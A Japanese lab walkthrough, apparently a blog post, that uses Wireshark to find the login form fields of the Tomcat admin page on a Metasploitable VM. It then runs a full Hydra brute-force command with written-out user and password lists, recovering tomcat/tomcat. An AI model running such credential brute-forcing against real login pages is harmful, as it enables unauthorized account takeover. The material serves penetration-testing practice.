Metasploitable への各種攻撃 その3
KaliLinux で Firefox で
http://MetasploitableのIPアドレス:8180/
にアクセスすると Tomcat の画面がでる
ここで Tomcat Administration をクリックすると
認証画面になる
次に Wireshark を起動
ctrl + alt + t で端末をひらき
wireshark
で起動
wireshark について知りたいのなら
Wiresharkで特定の通信セッションだけを抽出して表示する
を参考に
ctrl + k で
Options 画面がでるので
eth0 の Promiscous にチェックがはいっているのを確認し
Start をクリック
これでキャプチャ開始されるので
Tomcat の認証画面でわざと失敗するように
適当なIDとパスワードで入力
UserName hoge
Password 1234
次にHTTP要求の内容を調べたいので
http に絞り込み
右クリック > Follow > HttpStream
とすると
どのような認証をしているか調べることができる
Host の部分が対象IP
Host: 192.168.1.137:8180
認証ページ
/admin/j_security_check
データ送信方式が
POST
これは
POST /admin/j_security_check;jsessionid=8FBD198A5C0437C8C8C6FF63471D9038
からわかる
j_username=hoge&j_password=1234HTTP/1.1 200 OK
より
ユーザ名変数が
j_username
パスワード変数が
j_password
となっている
Hydra でHTTP認証の検証をするには
認証失敗時のメッセージを指定する
認証失敗したときには Firefox で
Invalid username or password
To try again, click here
と表示される
このため Hydra でInvalid を指定して実行
http-post-form の書式は
認証ページのパス:送信パラメータ:認証失敗時に表示される文字列
となる
今回なら
認証ページのパスが
/admin/j_security_check
送信パラメータが
j_username=^USER^&j_password=^PASS^
認証失敗の文字列が
Invalid username or password
となる
なおユーザリストを
cat > user.list
で作成
内容を
root sys msfadmin admin user service postgres tomcat
としておく
同様にパスワードリストも
cat > pass.list
で作成
user password 12345678 msfadmin root guest batman asdfasdf tomcat
としておく
最後は空白なのはパスワードなしのときもあるため
hydra のコマンド実行時に-s オプションでポート指定しないと
80番ポートになるので注意
hydra -L user.list -P pass.list -s 8180 192.168.1.137 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
を実行すると
実行結果から
login tomcat
password tomcat
となっているのがわかる
これで再度認証画面で
このアカウントでログインすると
管理画面にログインできることが確認できる